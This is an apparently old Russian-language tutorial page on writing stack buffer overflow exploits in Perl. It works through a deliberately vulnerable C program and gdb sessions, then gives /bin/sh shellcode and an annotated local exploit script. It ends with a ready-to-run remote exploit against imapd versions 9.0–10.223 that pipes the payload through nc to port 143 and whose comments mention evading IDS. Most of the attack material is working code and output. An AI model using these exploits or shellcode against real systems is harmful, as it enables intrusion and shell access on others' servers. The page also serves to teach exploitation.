Реализация атаки переполнения буфера на Perl'е

Данная глава предназначена для тех, кто хочет писать практические exploit'ы, использующие переполнения буфера, на Perl.Ссылки на более универсальные руководства приведены внизу.

Пример уязвимой программы

Ниже приводится небольшая программа уязвимая для атаки переполнения буфера. strcpy() не проверяет длину переменной окружения $KIDVULN, перед тем как ее содержимое помещается в стек.
++ vuln.c

#include <stdio.h>
int main() {
  char kidbuffer[1024];

  if (getenv("KIDVULN") == NULL) {
    fprintf(stderr, "Grow up!\n");
    exit(1);

  }

  /* Читает данные из переменной окружения в буфер */
  strcpy(kidbuffer, (char *)getenv("KIDVULN"));

  printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);
  printf("Isn't life wonderful in kindergarten?\n");
  return 0;
}

++ end

[root@localhost teleh0r]# gcc -o vuln vuln.c
vuln.c: In function `main':
vuln.c:5: warning: comparison between pointer and integer
[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1028"}'`
[root@localhost teleh0r]# gdb vuln
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/teleh0r/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at ../sysdeps/generic/libc-start.c:61
61      ../sysdep
s/generic/libc-start.c: No such file or directory.
(gdb)

Таким образом размер буфера оказался недостаточным. Указатель стека был перезаписан и EIP при выходе из функции получил значение 0x41414141. (41 == A в hex.)
[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1032"}'`
[root@localhost teleh0r]# gdb vuln
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/teleh0r/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Таким образом мы перезаписали адрес возврата. Что это значит? Мы можем присвоить любое значение EIP и передать управление шелкоду. Если это сделать правильно, то ему будет передано управление. (Обратите внимене, что некоторые ОС сами по себе или в как следствие использования патчей препятствуют выполнению кода в адресном пространстве стека)

Теперь мы знаем прмерное значение длины буфера, которое будем использовать для перезаписи адреса возврата. Поскольку ESP указывает на вершину стека, то мы можем использовать значение ESP, при завершении программы и в случае необходимости добавить смещение к нему.

Теперь о том, как получить нужное значение указателя стека ESP.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp            0xbffff770       -1073744064
(gdb)

Шелкод

Если вы хотите научиться писать свои собственные шелкоды, то обратите внимание на ссылки в конце статьи. Если мы ленивы и поскольку мы используем Perl, то можно использовать различные программы, которые генерирует шелкод, например Hellkit или execve-shell.
[root@localhost execve-shell]# ./shellxp /bin/sh
build exploit shellcode
-scut / teso.

constructing shellcode...

[ 39/2048] adding ( 7): /bin/sh
shellcode size: 47 bytes

/* 47 byte shellcode */
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";

Создание полезной нагрузки

Полезная нагрузка будет храниться в скалярном буфере, вместе с остальными необходимыми данными. Объем данных в полезной нагрузке будет достаточным, чтобы перезаписать адрес возврата. Мы внедрим этот код в стек уязвимой программы, чтобы при его переполнении получить требуемый результат.

В большинстве случаев шелкод будет выглядеть примерно так:

N = NOP (0x90) / S = Shellcode / R = ESP (+ offset). < /FONT >

Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]

Для именно такого способа конструирования буфера есть свои причины. Первая, в буфере присутствует достаточно много операций NOP, затем идет шелкод(в нашем примере он выполняет /bin/sh) и наконец ESP + смещения.

В EIP будет загружено значение, на которое указывает ESP. Таким образом, если ESP, будет указывать куда-нибудь внутрь блока операций NOP,то после их выполнения управление будет передано шелкоду(схема внизу).
       _______________________________________________
<---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----
         \_________________________/ ---->   #    ^
                 ^                                |
                 |________________________________|


Если буфер, который мы пытамся переполнить буфер слишком мал для того, чтобы можно в него можно было записать достаточное количество операций NOP, шелкод и адрес возврата, то может использоваться нижеприведенная схема (мы могли бы добавить достаточное количество операций NOP и шелкода в переменную окружения шел)

(R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)
           / ESP + offset /  NOP's /  Shellcode
Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]
                      |          |   ----------> #
                       ----------

(Замечание: буфер не может содержать NULL байты)
 Объясненный пример exploit'a:

#!/usr/bin/perl


$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
             "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
             "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
             "\xff\xff/bin/sh";


$len = 1024 + 8;    # необходимая длина буфера.
$ret = 0xbffff770;  # Значение указателя стека в момент завершения прграммы.
$nop = "\x90";      # x86 NOP
$offset = -1000;    # Значение смещения по умолчанию.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

# [ Buffer: NNNNNNNNNNNNNN ]


# Добавить буфер большое количество операций x86 NOP  в скаляр

$buffer .= $shellcode;

# [ Buffer: NNNNNNNNNNNNNNSSSSS ]

# Заполняем буфер кодом шелкода

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");

# Здесь мы добавляем смещение для ESP(преобразовываем в hex)

$new_ret = pack('l', ($ret + $offset));

# Упаковываем полученный буфер в двоичную структуру

# Упаковываем ESP + смещение в signed long - (4 байта ).

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]

# После первой итерации цикла $i будет иметь значение "885"(байт), конечная длина буфера 1032 байта
# Альтернативный вариант кодирования данного участка:
# until (length($buffer) == $len) {
# $buffer .= $new_ret;
#}

local($ENV{'KIDVULN'}) = $buffer; exec("/bin/vuln");

# Копируем полученный буфер в переменную окружения KIDVULN и запускаем на выполнение уязвимую программу vuln.
#!/usr/bin/perl

## *** Successfully tested on IMAP4rev1 v10.190
## Written by:
teleh0r@doglover.com / anno 2000
##
## This is nothing new - written just for fun.
## Vulnerable: imapd versions 9.0 > 10.223 / CA.

# Shellcode stolen from imapx.c / The Tekneeq Crew


$shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
            "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
            "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
            "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
            "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
            "\x2f\x32\x39\x3e\x2f\x43\x38";

$len = 1052;       # Sufficient to overwrite the return value.
$nop = A;          # Using A (0x41) 'as' NOP's to try to fool IDS.
$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.

if (@ARGV < 2) {
    print("Usage: $0 <target> <offset>\n");
    exit(1);
}

($target, $offset) = @ARGV;

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));


$address = sprintf('%lx', ($ret + $offset));
print("Address: 0x$address / Offset: $offset / Length: $len\n\n");
sleep(1);

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";

system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");


Назад
Hosted by uCoz